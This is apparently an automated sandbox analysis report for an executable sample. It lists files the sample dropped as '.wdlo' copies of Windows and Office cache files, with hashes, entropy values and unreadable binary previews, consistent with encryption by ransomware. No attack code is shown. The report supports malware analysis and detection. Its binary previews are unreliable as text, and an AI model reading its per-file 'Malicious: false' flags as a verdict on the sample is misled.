MD5:	EB76666CC894C7A0BB99BFEA0DC150E0
SHA1:	7FECC554031456CFE7392666C50B50F493F5767F
SHA-256:	4036A81966AA38A761ECBBF2DB0D1A5C96F92807C181ABEE0C82BFDAD0070E3F
SHA-512:	E0E0F801F3178FCCC66A3041998DDC2B2E1386B2C931FD45E092370A85858659EF0D62CB8B42CB8AF6CCF6A9E9C2653A69C8B497975188CF11482FFF1FA650AE
Malicious:	false
Preview:	.....t.08..bscP?.G;.X.\m.&w...I...e.b._..]]9c\|...C3C..(....u..".\.55..!......Bc.P....,!.d.3:p,.y.....%u.....u.~..eLm..(.<....w....4.v..u.7~?.n..a.A.......$......X3..G...5q.jt`."F...t.x..]9B.~Y..Mm.cy.tV.sp......4N..a6...2..&.....8_..;..W....D.....D.0....O.3l.'..,...B..R.....b0ZU....g..7...b...&{...n.d......M....r..fJ&!..Y)..\|.[.v.'!%..>/...b8h..@..EF..Y}..E..O.;.i..P&D@.Vhx.c.7....U......>..e,"^j0..+F.....Q.......F.wi.c:.D..J.i\|..}1.....B.6...z......p.H.+.....&.q..Oo..mg.U.6`L.).VSKI..45.l.....s,v.z.e..Vx.n.?q?PZ..[....3...._..../s.....P.e..uD.o............H.,..x..6.a.}..n..k.U...l.8X.U..E......7I..A.F..j.[.Q.jN/.S. 4Z.$,eg....L.....5.ic]..S.*H\..._J...j2...N$.RKC!{w....w_O.I..m..jb0.8..ez.......sX......@.........X.7.w}...rSW....cJ..\..=;...8.9......B.%P.nx....?....h.<l.@%..~....0X..[F...i...vO......D...dFP.pNK."..p'.,...o.P}.Vn.B~..... ...Wb.x.s3...f....Z}.v..U...F.\|0S..\|G=KuB&.Q=.....q...V.....<\...'.I.....u]..:9.\|u.,V.t..L&......G....T..uv9.h=

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.909009786365242
Encrypted:	false
SSDEEP:	48:LLIvMLV+rbEQxycimIUzw232ZZsmfkEoZsEB/FjBh6W3nD:/IELiIQDGZSFZsExxB/
MD5:	7BB5154269689190B812D91C8FEAC10C
SHA1:	E20ACBBBE7616F1D6EFF7CC1C07758D53C7EE300
SHA-256:	99A2E4267E35B52D834587793855C6E9E4129FF584E04D214EF1FD7ABDDA3DCE
SHA-512:	8B61C5C25220A46AD324F3F805ABCAB7D12937E07D517770DE23169FD3FE290F0FC9EA0CE3A8CE0E8AE65F462FED198D554190277D66F92EBDA29A4D516239A5
Malicious:	false
Preview:	<?xmlt..T..Uy.TW0l....#\|..@.F.Y....h.M.d}.....'..\|....=4..z`...E.2..$.8.gt.B.TS.....=f.[B..d.J.m....1.A..T...s>...m..D+.J..eb....G.,..h\|....t.........4......u....t..`../..}.a?..36UK..1.}G+..#..Mc._.P........@UM.....3...7.m.Gu....Q^n~30).r.Y.qp..&`I.I.9x..KU.....,.S.3..=.v....a.< .....c.c..pF@...5..p...E..!..5S><E#..(...h{S....#.b.p.H.x_.....u..S..J0..j.3k.T..j....o....[....0...v.j..y ,......v.n.. ....T.w...w..Xak..w1I..N....6...l.T.3.f?.fo..P.9.....=n..."S...u......p.F.....$....$....$.ZJ...rC'.G.s.{).<.).f8.i>...E..8..U.3Z...f......9.p.....)..\..}..`...5.4U. ;O>..u....6?.......C.4.....c.G..'VIJ.y..L0@.d.AT.V~..a..V_..x.)n9.<.....^..X'.....#j..G&...)........g......a@F.....x..JcM...p...Zo.h^o......)i.Z....)...E.B?(0$........{.S..)../..H...q.%.:h.......7..F.$%h!..+....tx<v\|.......P..0OK...XI.O.y..G2........-_.......Xnh...-.0.........F.,.^&...Nm.6.l&P.w.H....id..5.i..<.....w...+,C..".h.......UM..;.`E......+=0x.S.]W..A.-..W...cf.%..T:...]....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9791937267733966
Encrypted:	false
SSDEEP:	192:KgwpVVaZ0nLrkR5paKwrIu+hTCf37br+Do0uisp:KdHVaWLoHmr/LuoGsp
MD5:	15F70EA00A453A4DBBF50A5816A9F182
SHA1:	E72CBA17774AC74F272503F408C8A2AA2857DD3B
SHA-256:	FCC05BB7D10F6549EBC94117F266ED7E6AE74F06392A54F88E69CB8737939929
SHA-512:	223B9A9B982C000435EF73345738ABAE148954422C3E7201B4BAB922E0BA9E15E0224E0497741A7E7FEBBF7D5002F88EF43D6B92CF7496A7F4593D8051233FBE
Malicious:	false
Preview:	..E...0.@......q.`.M..E.....,1..z.q.....s.kwG.?....ZR...I...S.[.@W2A....1...Dv.A..........b... ..A.........U.v.....`.."A&......Wm6...\|.H.,E....}..-...3.lHO....o......f....?.P....Y...o&.E.+o$..t...J.G..^.-..I.. A._#.]F..8_."..?.....z..B.....V..z...P...d./.....o.p~XG.K).>bc.'!.3UPx.q.Z......B...AT.k...F.Z...y..Nl....5F!....9.#.3..}.H.....^.>4._...#..5....l..S......dJ.2+...t.......7..#[.&.._$..A..8n....h..)m......(.!_.....G..._..._....U.."...>z.w;.....Ou...7.._.e.z...^....!..TR.9.....=)...t..HN..U..=..3+.m..M}0.&......Z.f.......UM...D7.6..u.../.7^.k.\|.I./.......TYzGe...p.`K:[....F.VR_.U....[...~....C..{..>...5"..>d..G#....Mi.8...2.._.h"h.g..vc5..Z..qt.<g..>..\..L!@q...w....c.........u.....Vi..-..XH....O@......S..,.Lq.%.y'..i..?..a...S...)yA...D...?*-..I..U.Bn.lRG../".B-5..?.w......rbh...:....nm..../.Oy."....&...WKv...>Z[h...iK.^.....@1.p...n..H.v..I?.=)/....\D(7..7i<{.\h.6.1\D..97.p......u..[.`...7.L.tU.......\..V\|.....r..,,\.x+......u.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.960176194171717
Encrypted:	false
SSDEEP:	6144:A+OpNDS+zDqSgQf0wqAXkFgIZ/sSdufhm:AVHDSsDrLcRCXE5
MD5:	783D850F3904B9A82B3D6878CA0B2139
SHA1:	FE257E09484987344FFCF9B2F55BFA5B6E5E8AB7
SHA-256:	870943F26B9399979A09319F871DD8781F4130780C143BE0ED28E72F9CD5CC88
SHA-512:	954590920DA5A8525E3F8E382EEC486532355DC4D2FEF0F896D0A50977C22CB57AACBF38D00362FC2BAEB95233FC15EC7E5EA433C0DE72D817AA8680164806B4
Malicious:	false
Preview:	?.8T.I+..O....7C..(`...o;.$.{-?o.k..:>.4....C..x..v-.K.Z.X..P.....3F.WL4..:.....'d..S.R.w..w.T....t.9.F.J.......w. ..CYK5&.8.f.A.6...\|'.U4G...(V-...........@.......57...` o.......l..............A.'...A.nj^&Q...y.f..4lr....i....r..&L.Lt..{p.w..,}Y..9-.....\@o......t.._4Q..WEY8bC..gVG..."{.Sh.b@..L+.>..HV.....\|.?S[......cS.O....M@l...0."cI..w .,.........Q[1D..._.).<.......I.....$.c.f..(dj....[/?s..XI...?....N.T....I.Y5.8dz1=..Ai..u.V.NfQ.BRs.y).D..#Qg....}m[9....7..N.W)G...x..V..B2.Z./._..~..^.s.`.....T.....4..YA`.$..g... .2.i.F4.n..&k....R>..T.~.;......1..A:FiE...3..........&4...c~....D$..Y.?m..%...B1 .CS...x.rn..d'..!w..aFl.[....Sm.B.2...\B.=.....k...(...5..\.Z.<x%dOCR....@..:.2..?....g\1.....9..g...au.ne......1.w.D.oWs..F.\.Y........c..n..-..W...!f..1...'p.p2..N.{....HB...=.%..Rg.>./......B}../I.AvDD..]......<%.Q.....S..P..{`..@.6Ay%.e$WB.....Z...K.=.....'.k.*.!..IU.V...#\|j..}J..D.J......f..8D.3L.!.Zd8.....]..o.......s

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077421925751524
Encrypted:	false
SSDEEP:	3072:9GLH+cMVe4i/PfOMtTsKSrY6CAu/MQkiHHafXJT45p9kqPHtVFFc7ZxJ4c:QSeRfOMtXa1Cx/XnavJYB/5m9xJx
MD5:	FD790EA1870C901174B4146340958302
SHA1:	7F49E3CD9A46AAE4ED6FF1753883290056B08BC5
SHA-256:	F172F9001EB8FB76F7A1F00608D31C0F999DA0A50680766A90C0CED6BA120E66
SHA-512:	F908BAF0EB6D766C1647F6B4BAECA9538D0C106FDAECE64E6031A2E5FC9EB1B9E04921C95C200A65D57FAA83C3FE5855AE337DEC727B95FC6FCC77FA977653C2
Malicious:	false
Preview:	......t.].......b.1.$<i......Ds...g!F.^.ZW.d..s.f......1`...A...........4~.....i.dm>....VO..Y.OA..E."...L!cY.ak.=....;....%....\|.&W.)%C ..w5h....1.......!.@.._8YwpX&..x.$>o..`.....A..ds.-...9....l.C.5fr......>...cmT.D..$.._..".u.0Kv...3`...Q8..6 .V2R.... 7o.o.{]..E.,....h.]l..`...pfV#5...m{.q..w.i@.]..L%...pB......?.4....P.'N.q.c..X..f~....{@...z.o..J)..k.%.....;;?.OL...!RG..^".>(n.u..r&qE.k]."..v.\]..k.._I.3..-..X.......y.R..,........_Wp......l..f ._.Nx..E.K..+U7..a..r#.L....6.8y....#]..c6.c/.n..*b.....v....2{.g.... (....h....IQ.4.p!.t..5..7$..:.b.{."OU.-...H!!r$ l..-..1E..Z.A.......ORG...1.....{K.(.....!O$%.7>...w<`.....cb.d.])..f?y..'3XT.....Mt..3...p.nx..]i4..2...A._u%.#A..c..l...I.N..dW.<....C.....C........?#j.5... UjkL...{.....tU....[.zD...iZL....o.B.....4.<]..z...U&5...e..}.....'[....U.......1~....H..8H.j!.&.A.s..[..Jr.d7.h....4.5.%ZB'BV..L..{.}.....\.^../.&?Q....<...L.`...fn.!.,.......5.m.%..d..H....6\|E..[B(\|3.O..].Vo

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076377731644414
Encrypted:	false
SSDEEP:	3072:5NJhXsWtLdao/qfxEqhzMDfQ0MC93EJ673aQ7JPzMknW5w:D/X3pdaH2Q0d9UY7xNPz3
MD5:	DF551D3E248875020D28B3C3256092B0
SHA1:	8D2DBA8199059658D5A9BD59C80B1F0A2A9F4E2F
SHA-256:	0381CD520DFE607C3D4627C112B026C58142E3CB4FA2090203AB6666B39178FA
SHA-512:	B36A737C793089E1DB06D69D28ADC21EBEDB5779EE62F80ECE38C48B7D3A921EA931CEE985E95E64A4A8E9DD567CF1EF01A05F3C148FA970A9B8F7C2D1994B6B
Malicious:	false
Preview:	......v..y>?C..S.1.V.....D.........]xK...u...O..R...%..Y..{1....n>..Y.u...hOYy.......7.......I...6k#..6...q.\|..kI.`%W.....R..L.W..j.n....y......@Z.e.....B.X&.!.S..7.y...-...\.$a.;..d?..u../..E`...{...\|i.UX.KQ.E...6......fx<n..Wg.HY.4.i...$F.k.5S.>3.I..P....{..}.z...-...}l..s.FX(k........Q{.1...u.\|hO8..B.}"..../...{.{....z.../.b.>...>,(.....[.c.W.6..s..f.....}1,........n.\_..}S<...\|.J[U_.GV....N.])..a.Ah.......8?%....X..(.c..FD.e..h...[.m2...o. ".r..O.......A.]....4........Ui.F.g.\|9k9.s......SS....!-Y.f..`....~SL...O[.......o.;}T.sD..7{.p....u..3 ..S.Z.....J....m...&..\.r./)i&`....}.M......B...:-....8.......s1.gdz.cLc.w}..6.0.2b..8~...B.z..i...?4.....o..4.<..d.......+O.........Gl2.N>..:.]Q.......I.. ....?..zTO{7.*TN..o.t.(bi(...m.D.=.J...x..- ?G.Mp..:.S.O...v..j.D3.;{.".....1.d..c.t.......)K...,...<.$6.4g..s......T.._./..E...Us..j.,1.X............2..D.....T...<+..:'2..6/B.:......%......ry.0n..hH.......J@.Z.=4Zc...5..\|.............)

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208420359171054
Encrypted:	false
SSDEEP:	3072:wIv+ko949cy0SRCNx9TlwYyjiqiuProEZb7drniaigOo0ctPOcjj9f:wMI2WyMfTwHjiqHf5M3g3p
MD5:	B88AE851F556E6219DAB30CE108A84B3
SHA1:	4F042F840BB5E3878B8B0F26916E9A7A5B723BC2
SHA-256:	F7FEFDE4D13B3A33FA4B280A98A137D15CB54AE7BB1A6061643E8651434431B3
SHA-512:	F504473015D56B6E08BA3BF9837536F85C7C6CF3EC85AE89EF9D522D4C6F8129C98C37E82CB757EC7EECA909CE895B61A70F4C1440F29DFEC746AEF5DB94ED6B
Malicious:	false
Preview:	..........&.L..G........._.z...e[.i.].....9.G...........{.......Y5..0.;.i......d..K..".-.)2].l.6.1m:.&....p.......}n.. ...c......2'c.oK./m.=.AA...Y.....V...I.8....x#r\~.C".....Nf.lx...U...gU6.O.....sI.1u.I=......:.$...(.._..#...'N..9y.....8(.5..j'....1A...s.t..`.c)/;..u.\.')....t..#.<v........o.K(.a........]....Qn...#../.l.........T.2..}.k..!.G..`....G.1.tlo[a...K2\.6....x .!.."../.R.......^........B=...\...Q2.Y....p...r.A.+.#.......)..j.9.#..f^2>....%..W@..F.Q....`+..s....3....\r.a="..8.g.?!...$.T(...I..4...)..$7.o...6.....xH....-CoM....\|.=...Qe.1.E...3s..U..S......F.....,.X...$.S.U3....<~yf}.H.....+.....f'.P.r-.."..&...Q..T..#.Z4\|}...BPW...-...-...N=..-FuILv-.....j...;.#..Iz},.)wdO.N..m.h...-7..F.}.4..@..k!....$..[].v..Q?...t.Q.lfw;&.5..r.....E.G....U.".:J<.e\.E.e.}...IW.,..G...#.B?Q...j.......S...,..\|\.7M`..$..........,..%....b.1y.....J.d..Q_......i..D..........y.....6...%...<.... ]..)N.fP.......L?.-.?.J.........<-.7.]@Olg...st.e`.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.952162565339387
Encrypted:	false
SSDEEP:	96:84pVJy/n7csrOh6TKQZ6uIzmO+NF36kOWXNknpBAjk/Snsg:8qVJSy6TKOWzmO+736kOCYpB98
MD5:	DA84284F775EEBF96216C65DA9B222F6
SHA1:	6A5819C662D9E8F8C924C8865194C8534F0BAF8B
SHA-256:	CC43872CAC418343562701182A5E8DFF1332CF56CBA47F1F10A75C556E52E13B
SHA-512:	9C86315907A45212034FB4C52ACBC64857168C306FEAA7A2E6F4FDB1BF8F0C08E56A432B3F0E03561EA34DF71B160C8F5B5EF004D7CF64786E5CA46404A271E8
Malicious:	false
Preview:	<?xml...._.Q..k..f.#_.D...".:e.......".-.'.9.Q.Rw..N.!2K..!...Fe.....7 k.#:..\..r....$jG@.m.....D.....cA~{<.....s.B.9...U.`.\|.z8..".....O/-..FRAX.S.S...<.....(..=.N;...J....>...WP.@..h.....p...6}mjk59_>..-..?....H .u......MP.UY..;.;.vr.3"ncCK...W.....]&...\;....s(R.c.;.{.&...>._.8.ad..(.c..a)..UOeg.....~.pKA..ge..t...u.+}.Kr.Xv.......T7.i.i..9..Xu..uO.#.0..@t.I...P.8<....ecux....{..f..g]P.Y.r?3.......'`~.O.Bae{C......'.6..m...K...k.C...Y...6c/_:%]N...5...k.. c<].U:..Y.(...,.NSY....R/........\|.(j..WI.r.h....o2<+O..~..!GV.W..T...uu...WE.?..U......q.%..<140.....\|....{7......s..e.1.j...%..-..v^.q2.&0W.f..i..xG..a.U(u m.+.\|A.)x.......v. ... U..y....i....M,...7.M.4..}.._..}.lpR.+...WW.)j.f.M.ug..R...n.S...7.............T..p...3=U.+..o...+..@.v..2........p........Hk...Q..gZ.@:.?...D...,.....;.-.........&.X}=....j.1..r.....1..p..E...k)...:.s..7.8Zt.G..'...rQ..y..h#..m......:O..\|.." X.m..X:.I.DX.....e^;.O ....*.V....w..p..m..'......KM.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	6907
Entropy (8bit):	7.971866986742725
Encrypted:	false
SSDEEP:	96:lLIYlqK0ojxJOHHkJqSmgScbc/+hJdbBxdf6EoVyOXP0YKNbieYvxHAwp1xiO:peK0ojDOnknScbJHgEoMoGNBUPTsO
MD5:	84A3EDF56A46DA63E1D249AD51BC2D95
SHA1:	0EC0DFA3759153B85F1D5D74CC46FFA4BACA9C67
SHA-256:	91882DF06DC3EB78A82A39ED157DA6B41E601691943FCECC5F69CA11F72697CA
SHA-512:	CDE9AE27BD738AFE32E68658D1E432A5C1B9B949B57DDDDD1CD83AF11D8EF454F8ADDC9F6D10190CD28F2B903BC102E0465AE472C3B4145D4EEA9A321E446BBC
Malicious:	false
Preview:	10/04O.Y.Mt..^uU..y.>.62...p'p.4Ub.%Dpa.A........?..?..l.m7.K.....F`...k....g....-..-..C.G.........?.4.$...R..Z..z.C..L.......R.I....... 2....BY...............88.....J..........n<3....).O.7..!t.?c}..W.Uo......x)3.O....m..R.....}.#.+._@.\....!..A..#.".C2X4........Y...lW.(.Tud..i.".\.{..gi..N..U....pe.H..._...:......~ZGq....n.-:..."s.F.u.....ttP...m..Wn.......zXDv#...M.9...[.M..L..9?..../........)T@......_..T.]6.T...M.7.w...N..PH..8...-h...v..$V.:`K..c.9'..~.N..>.<G...:..S..4.y;..5.8...Y.Q.....B!.......D^..Y...E.o.`W........m.30.K...5.o...%E..o.....>_.+.@...q.....5>X.A...C.M...9C...[\..<~...P..g.. .....5+.t..K....j....S...]...{...?..A.>:d.#..$.. .M.\m.+.WlI.@.R.o#4.#:..8X.'..[.b.Q.A..>.N]Y8#Jy....{.9...../...b.qv......A.....y..T.P.s:.......I.r.HgY.]....]....5p_s*..........b..W...N.W....x..J6IS........L.....M..E..z.....Vu...Y.e.>x.../....JQ.../X#...D..q............S.!...Ki...>. .s.RN.....'.....P...+{..k....=....S..p...p.z.!.N.3 .xeW

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.739263766147117
Encrypted:	false
SSDEEP:	24:Q3B7JScOukg3y4sRBJguL58uK8a28RwAIh3zbD:KhkI0Jh58QaAAIh3nD
MD5:	1FF8FF528B031A240C139FDD1103B2C0
SHA1:	C61F6F5CC29B573E2523DB53FB7C3199143859BD
SHA-256:	946F24D1C1B09D66AE6D3D678D119E9E15A3C7F444016699EC2CCCC7E6002ECC
SHA-512:	8A6E5DA6EF1A54F79A2B691B07E6DF542EB55A2699BC3AB7DD15EACD36EDBA8338C3562EFFD5D0FC79E574794D437AE9179C6CF40FAABF6A69F912E7B2A62679
Malicious:	false
Preview:	..1.0p:k(.......\O..7..%.../......,..X.T..........t/..H.G!<.....N...i....k`y+~..R@.b...w.I.}?.=..Y#!.....2.$c.!...h....43:I`__s.U$.2.3..'.'_J.....!f...H..<QgE.C.;V.gg.:z..EZ.`..?.....G.:.M....B..#.j\.,.e{../..@QV.....R...4Nz5...'.t.3.]..>.M......!.O.r.8.$..3..:...V..p...fk....H}+......... .+..D.E%.qen.'m.g..O.r.(...:.....m...E .V..T.&...Fe/.........uJ.N.....w.r.,X./p....y..W..=..m.9..(v\|#.f..6.Wah.....A..!..i....6.\|L....N6..ULn.w..j...(c....6.9..4.m..q....8......5K.0...W..w....o9R<.(...g.a....b.\.(.!J.[O.)..........-.Ts.]<[.X..+..n. ..~..<.+P..........$P.<T\...2!/i<n..LbCv}...[>........-.!aU+\| Y....D.'.{....{.L......,.v.PT.......Z..N..(.l'B.@u+.......\|.#...AAQ...f.*w+....{l.4.. .yh.E..62..?p....!.<..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (870), with no line terminators
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.875839840610083
Encrypted:	false
SSDEEP:	24:Qit/AVQ7iAcQG/9Lv69fnQ4oUBB37+2kajeUHQgj4BQ/pxZtFnWizKkILPJei1bU:1aocDe9oWBL+23BB5FDzKku08G3nD
MD5:	25B6EB906DC8E4D6FECAC54F961691ED
SHA1:	4E29A73896344CDEB6161527329CBFDE105EFC49
SHA-256:	187D43D15A032D380D039FCCC8418FD78528C85F984E1BC2E61A950697034AC9
SHA-512:	11D90B26B969EAE4B2F7656B3FF1D58F91158930B510D19882A383B16FF7A27C6E3B39C8476E928644AF9B70AE566DA39252A6A64FB51D69E60AF85F61678B87
Malicious:	false
Preview:	..1.0Mz-...pT.pc...C&.P.;.h...>.-...0.....s........\|..G~..q].0.W..[...J.t..u........ps.a.#...d.. _}..W...%..,k..x............j.ABX.....$n..Wz.l.....6....~K\..O...6..D..+...9...5q+...+.).f6S.\|Z.q<#-1....j.%g.I...Q6.c..h..k&.1Q.;..xB.V.<.......c.fN..?g..,.7L.Z@~...HB../.^....`.X.0..9....=.....E..H...r.j. M?.h.....l9u.I.....W.].....Lax...\y..e.P..;.s.2..1i...K.....pX6..w..B.r. (#-O..uow.h.92i.l.....U...s2f.......K...lX[+._...!..#w.L[^.F.i.f..i>.....z$.9..yo..b..O\|G.....X'.C.....3...V..K.)%.t....vb.........Y.km.6`..)4...G...\.A.....Au.5.Js........0O&....\$...\|...9..=.,&.``..j...L.e,...Q/.r.~....F...e..A..,.....fwUE.K..).+.a..qF`.#.-By...$.ZNH...........w...b..1+sc._J.T...U.sO.....o...h.z+)....g.,J.My...k.].%.......g..r..}/LQ.\|..#x......i.;?....T.KVD>m.y....P.Y.a/..<..a~...'@K.p.H.k......j$JA...w#K.\.Rp.D..`..kE=...4...O.PH.+\|...f........Ig..v..W6.C.V.......c..5.C....P..7.".@xQ.....?(2..0sC..c%....8...'.*+......@.3_.......#.w.\......&

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.530708790922443
Encrypted:	false
SSDEEP:	12288:CQ145T1O4RsXSZlV0N8x5thr291gess3TylunXK:/wO4Rl
MD5:	D15D35FD2080CA6AD5AB7594729C9AFF
SHA1:	9BBFF77CD2F8157B296936C69C5493E3C6647FC8
SHA-256:	B9C5858DE861B3CBA327C180658763161D80E2EF2F325AA0A4C0BFE4BAC1011E
SHA-512:	26CE2AB6B16AB98B5182A8228450129B5BB9D771C482FA8E39642B064CB5F50121AFD89849AB5B59CB083374DD40A64B7A662187080CE1EC46BB4476898193FB
Malicious:	false
Preview:	<Rule..~....`d..}.%...d..(....j..02Sy.597.s..T...'N...0.V:.1]%_..A8.....*..G.9..b...{..>....6P.......).?/B....r....?LZ.........$..#.!4d2f.\.>4.....)?...di..Y...d89;..2.Pf..{.....`.XuJ.....o..%A....G.....%1:.'.....K....mN...BZ7.?.C.s..s...8xGa......&(D.mP..o...u .x..........C....I....f....8.....^..p..NO4...\|..i.>.;....l\|)...}2.._7v..x,.N.d..B.,.\|.k.. .Ig......$Z.S..\|pJ~De...wj.g......;V......P.u,..?...:sx..k...Bk.RV..J.q.+.i+...E.\.1<...5.-.c.gP..C}.....J.I.Em..T.........^...D.....^H.?....pR...g........./.`Es.!Zo..O....y...".0.1.......3..Z7o.......@...4c.8?\..Y.......%[....j%..3.@y......4..u>.i.b.G. \|@<..2....=3......2=.a.9..!9m$...KS..3...2k.C..t.zy,.M,$..siN. #B#.Nv..7{...e....I.....6o.e..]....0..Ao.'m..0\|C.7.N&.x.....S..U..gL..~.\k..c2.s..2u.....,t.E.....q...E..44n.MU..\.............(..,J.5....#T.OVbpK.....tdo........S..D..._.n.}..0..kN..\...9........_...i.....[..a.I.....F..E6.h..{. x!.......F..P....{..C...J.. T...T......

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	320676
Entropy (8bit):	6.632454092617926
Encrypted:	false
SSDEEP:	3072:iX8emdoFa2UbZWDcD86DXaAxjEn1j8CAMCAoa6Fgig/NA/lbabn:Ik88W2ax1j/PfpZ/NA/Yn
MD5:	26ABEF761D7043A6EEE4360BEA641816
SHA1:	72F0A744B549AEC4CE34D9AC484DCE543D8E33A6
SHA-256:	BBD14470EB503718143C1E2606C31D2A2C911B5D3B886E93532FE6E8CDFD37B6
SHA-512:	C77DE4FB6048387115D97A9C07C3221A2475BB6082E7F5EE66D4F8F98DD9D6191EA6BE6F6F041584F272133302CA5C179CDEA6F47D3C9E98381416CB0B14769D
Malicious:	false
Preview:	<Rule&rP.../.Jl&}..).T...P..Scd.pk.L.O.Az..F..8..{..wqI.JX4...F...d.....dy"M..=j}.."B2..........X.5Q...9...l...:...\|.#u3fa......D...{..8d.v.bP.L.y8..)l..$h.#.{H....\|.<e.....GA......5.wi]Z..}+....S.Vc`..s..!.m.... ....?..1...Q.7..+....1.4.y{;GB.6.{..K9:.n#&.EMKR."d.J.V.J...Z.#.....z.D......@F.q....%bx.^j.."...z...E..7}w.m..d...J..uV.c[.r.@...A..\.Y.?.w.j.z.6..\u~.O...)...../...a...r.F.)..5..c..b...ijz.....s.iF...R..b!..j.9.3}..a` .?,...~.#U......c.;v.h#.....6......Km...2..YC..e..;W..y.....8v...^.{.w...eB....7..c...Wn..F.jr.f.Fc.d..<~.../w...'..ysT.B]..<.GV.?e...8@.sh...).IM..8...${.....lI"..z.A ......:..t..P.....J].....j{ut3....n.fU-.....[+.~0..._)...c......6{...+.[..S.A.z..A.....da.P.N.c...Px..tR.nT.N.u:.-".N..*..l..f..:`...t.?....g.....FVb.l5xg.C[.egy..A ..H.U...u./K..VN.0v.......2....W.>.HtF...t....^.........\|a.V...Z.Jk..O?..7..#....E..o.2M......Ri.@.2P.K.pd.uSg.U........I}/.9.c'k..Q.K.+..t.x:U..lnk...)....N..D....A....v...b....

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.514043938687138
Encrypted:	false
SSDEEP:	3072:priRxKID9hAzjIfkfZnc0ZnLHb8c0CaUhUzT6Mv9YLuBmsGMbNXU05:pwKIDcAMxntBHb8c07Um3DYLq
MD5:	FD0AB30F8A9C0851167D4DDCD76849D8
SHA1:	057E93FBC99838C251F4022B812AF9458D45FFA2
SHA-256:	614C17693A4D72F367D1DF27D4C2F21CA6352005B79BB87B4EDA0E8946B1BFF0
SHA-512:	E95CB2254F42A7647F280798277E59D6937170E671E36265D7D64684538B95EA4C75B1252ADF38D9F4D43214A602266A35F7D1EC09A13ECD15D9EC85E328ED83
Malicious:	false
